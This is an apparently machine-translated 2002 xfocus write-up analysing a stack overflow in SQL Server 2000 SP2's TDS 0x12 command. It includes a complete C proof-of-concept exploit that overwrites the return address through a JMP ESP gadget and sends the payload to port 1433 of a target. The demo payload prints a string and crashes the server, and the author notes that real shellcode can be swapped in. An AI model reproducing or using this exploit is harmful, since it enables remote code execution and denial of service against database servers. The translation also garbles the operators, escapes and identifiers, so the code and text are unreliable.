SQL SERVER 2000 SP2 overflow attacks to achieve 12 command of: flashsky
Home: http://www.xfocus.net
Date: 2002-11-01
Note: Please indicate the author and security focus
For the first time to play, please
Since the last time by ISNO, I started using the compilation of SQL Server code in these days. In the 1433 TDS protocol of SQL Server, the 0x12 command (request verification) has an overflow problem, and the last MSSQLServer is followed. The above 572 bytes will cause overflow, and I am happy, but I will learn the last lesson, one check, found that this vulnerability in August 12 has been announced. Hey
But at a glance, the announcement code only pointed out that overflows, but did not achieve overflow, take a closer look, it is still very troublesome to achieve this overflow, involving a lot of questions:
The following is a compilation code analysis:
The approximate process of receiving information in front:
request
Text: 004DE099 Call Sub_410e22
.TEXT: 00410ED3 CALL DWORD PTR [EAX 14H]
Call SSNETLIB to get information on asynchronous socket
42CF42F2: Connection and receive information
.TEXT: 00410ED6 Add ESP, 18H
Data processing:
42CF719E is called, the next return address should be 42cf71a3, and overflow is to overwrite this return address.
Spill is generated on the strcpy at 42CF72CF
However, the problem exists in: STRCPY copy of the address is 572 bytes from the address of 42CF71A3, where there are many other variables of the pointer, if you scroll, you will continue to reference them during this child, then you will cause access violations. Directly was captured, and the purpose of executing code is not reached, and its procedure is a loop execution process, which will result in a very complex calculation.
The code involved in the need to continue to reference the overlay address value is:
.Text: 42cf73d9 MOV EDX, [EBP VAR_4]
.Text: 42cf73dc Add Edx, 5
.Text: 42cf73df MOV [EBP VAR_4], EDX
.Text: 42cf7263 MOV EDX, [EBP ARG_4]
.TEXT: 42CF7266 Add Edx, [EBP VAR_4]
.Text: 42cf7269 xor Eax, EAX
.Text: 42cf726b MOV Al, [EDX]
.TEXT: 42CF726D MOV [EBP VAR_14], EAX
.Text: 42cf7270 MOV ECX, [EBP ARG_4]
.TEXT: 42CF7320 MOV [EBP VAR_224], ECX
.Text: 42cf7326 MOV EDX, [EBP ARG_0]
.Text: 42cf7329 MOV EAX, [EBP VAR_224] .TEXT: 42CF732F MOV ECX, [EAX]
It can be found that the above value is mainly involved.
To overwrite the address -8
To overwrite addresses 4
To overwrite addresses 8
To overwrite addresses C
To overwrite addresses 10
To overwrite addresses 14
These addresses, and mainly writing
And to override the address-4 will be able to perform one-time operation with the address 4 to overwrite, and the address range of its operation should also be readily writable.
Therefore, it is easy to think that the address of a data area fixed by SQL Server is not arbitrarily taking the area. To cover the address-4 is the value of about 0xFffffff, other addresses plus this value is also within a data area, the problem is not to overwrite the address 4, to overwrite the address 8, to overwrite the address C, To overwrite the address 10, you want to override the address 14 to choose carefully, because the JMP ESP jumps back, just start executing from the address 4 to overwrite the address 4, you need its assembly code to cause exceptions and jump to other places. Otherwise, you can't perform the shellcode we really implement.
Alternatively, if shellcode is put on the address 18, there is a problem, which may be used in the same process, so the shellcode is preferably placed in front, with a small amount of code after the address 18 Jump back and avoid a lot of coverage causing an exception.
In addition, the selection of JMP ESP code is different, but the address of different server version is different, but I want to find better in SQL Server code itself. As long as there is a FFE4 number, no matter what is true JMP ESP code, shellcode can be more simple, more general, carefully, SQL Server has this combination, location is at 42B0C9DC. OK, then the main problem is getting
My environment is: SQL Server 2000 SP2 The latest Q36 for the SQL Server UDP vulnerability.
The following is a demo code, which does not realize the true shellcode, but to print a line of SQL Hack Demo, and when the SQL Server server is removed, it is only necessary to replace it into shellcode, of course, you need to consider the size problem, if The size is placed without considering the size, but may cause some abnormalities, I have not carefully debug, put it in the previous license, about 500 bytes, do shellcode should also be enough.
Everyone runs SQLSVRRER under CMD to see the print-out SQL Hack Demo character, and SQL is dropped, if it is the service or management tool start, you can't print SQL Hack Demo, but the sql will be caught, pay attention to this is not because Exception, but executed the exit of shellcode.
#include
#include
#include
#include
#include
#include
Int main (int Argc, char * argv [])
{
Wsadata wsadata;
Socket sock;
SockAddr_in addr_in;
UNSIGNED Char BUF0 [48 572] = {
0x12, 1, 0, 0 x 34, 0, 0, 0, 0, 0, 0x1B, 0, 1, 2, 0, 0X1C, 0, 0XC, 3, 0, 0x28, 0, 4, 0xff, 8, 0, 2,
0x10, 0, 0, 0, 0x4d, 0x53, 0x53, 0x51, 0x4c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 1, 0x10, 4, 1, 1};
UNSIGNED Char BUF1 [255] = {10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0};
Char Exploit_code [21] = "/ x83 / xc4 / x81 / x8b / xc4 / x50 / xff / x15 / xf8 / xe0 / xcf / x42"
"/ x33 / xc0 / x50 / xff / x15 / x84 / xe0 / xcf / x42";
// This is the "SQL Hack Demo" and exiting the shellcode code for SQL Server
INT I;
Int Len;
Const int SNDBUF = 0;
Const int tcpnodelay = true;
const Int Broadcast = true;
INT fo = 572; // Requires overwriting return address offset
IF (Argc <2)
{
Return False;
}
For (i = 0x34; i <584; i )
BUF0 [I] = 0x90;
// Demonstrate the string of printed
BUF0 [0x34 0x10] = 's';
BUF0 [0x34 0x11] = 'q';
BUF0 [0x34 0x12] = 'L';
BUF0 [0x34 0x13] = '';
BUF0 [0x34 0x14] = 'h';
BUF0 [0x34 0x15] = 'a';
BUF0 [0x34 0x16] = 'c';
BUF0 [0x34 0x17] = 'k';
BUF0 [0x34 0x18] = '';
BUF0 [0x34 0x19] = 'd';
BUF0 [0x34 0x1a] = 'e';
BUF0 [0x34 0x1b] = 'm';
BUF0 [0x34 0x1c] = 'o';
BUF0 [0x34 0x1D] = '/ n';
/ / Prevent data changes from abnormal and exit without achieving effective overflow, therefore performing effective modification
BUF0 [FO-0x8] = 0xFF;
BUF0 [FO-0x7] = 0xFF;
BUF0 [FO-0x6] = 0xFF;
BUF0 [FO-0x5] = 0xFF;
// 42D01CFC is a fixed data area fixed by SQL Server, and its assembly code does not cause problems.
BUF0 [FO 4] = 0xFC;
BUF0 [FO 5] = 0x1c;
BUF0 [FO 6] = 0xD0;
BUF0 [FO 7] = 0x42;
// 42D01C72 can be written for a fixed data area
BUF0 [FO 8] = 0x64;
BUF0 [FO 9] = 0x0d;
BUF0 [FO 0xA] = 0xD0;
BUF0 [FO 0XB] = 0x42;
// 42D01CFC can be written for a fixed data area
BUF0 [FO 0xC] = 0xFC;
BUF0 [FO 0xD] = 0x1c;
BUF0 [FO 0xE] = 0xD0;
BUF0 [FO 0xF] = 0x42; // 42D01C72 can be written for fixed data area
BUF0 [FO 0x10] = 0x64;
BUF0 [FO 0x11] = 0x0d;
BUF0 [FO 0x12] = 0xD0;
BUF0 [FO 0x13] = 0x42;
// 42D01C72 can be written for a fixed data area
BUF0 [FO 0x14] = 0x64;
BUF0 [FO 0x15] = 0x0d;
BUF0 [FO 0x16] = 0xD0;
BUF0 [FO 0x17] = 0x42;
// After the return address overflows, since the N code needs to return, it needs to be processed in the child function, so it is looking for a data address, while making its assembly code does not cause access to an abnormality.
// The following addresses are not needed during this process, so you can use the assembly code we need to be used.
// Write the code BUF0 [FO 0xc] = 0x42;
BUF0 [FO 0x18] = 0x81;
// Add ESP, 0xffffff92
BUF0 [FO 0x19] = 0x83;
BUF0 [FO 0X1A] = 0xC4;
BUF0 [FO 0x1b] = 0x81;
// Add ESP, 0xffffff92
BUF0 [FO 0x1c] = 0x83;
BUF0 [FO 0x1D] = 0xC4;
BUF0 [FO 0x1e] = 0x81;
// Add ESP, 0xffffff92
BUF0 [FO 0x1F] = 0x83;
BUF0 [FO 0x20] = 0xc4;
BUF0 [FO 0x21] = 0x81;
// JMP ESP
BUF0 [FO 0x22] = 0xFF;
BUF0 [FO 0x23] = 0xE4;
// The above code is executed after the overflow returns, due to the main shellcode anti-in front, you need to jump back
// The reason that is not directly placed is: covering some of the variables behind will result in an address access exception in advance, resulting in the purpose of implementing us to perform the code.
Memcpy (BUF0 FO-8-364, Exploit_code, 21);
// Copy shellcode
// ffe4 = JMP ESP
/ / Set the value of the overflow address, 42B0C9DC is the FFE4 place with the SQL Server itself code.
BUF0 [FO] = 0xDC;
BUF0 [FO 1] = 0xc9;
BUF0 [FO 2] = 0xB0;
BUF0 [FO 3] = 0x42;
// Need to find the JMP ESP code, but this is changed with the version, so simply finds in the SQL Server program, as long as the combination is this
IF (WsaStartup (MakeWord (2,0), & WSADATA)! = 0)
{
Printf ("WSAStartup Error.Error:% D / N", WsageTlasterror ());
Return False;
}
IF ((Sock = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) == Invalid_socket
{
Printf ("socket failed.error:% d / n", wsagetlasterror ());
Return False;
}
Addr_in.sin_family = af_INet;
Addr_in.sin_port = htons (1433);
Addr_in.sin_addr.s_un.s_addr = inet_addr (Argv [1]); buf0 [1] = 1;
IF (WSaconnect (STRUCKADDR *) & addr_in, sizeof (addr_in), null, null, null, null) == Socket_ERROR)
{
Printf ("Connect Failed. Error:% D", Wsagetlasterror ());
Return False;
}
IF (SOND (SOCK, BUF0, SIZEOF (BUF0), 0) == Socket_ERROR)
{
Printf ("Send Failed. Error:% D / N", Wsagetlasterror ());
Return False;
}
Len = Recv (SOCK, BUF1, 255, NULL);
For (i = 0; i { Printf ("% 02x", buf1 [i]); IF (i% 16 == 15) Printf ("/ n"); } Printf ("/ n"); BUF0 [0] = 0x10; IF (SOND (SOCK, BUF0, SIZEOF (BUF0), 0) == Socket_ERROR) { Printf ("Send Failed. Error:% D / N", Wsagetlasterror ()); Return False; } WSACLEANUP (); Return 0; }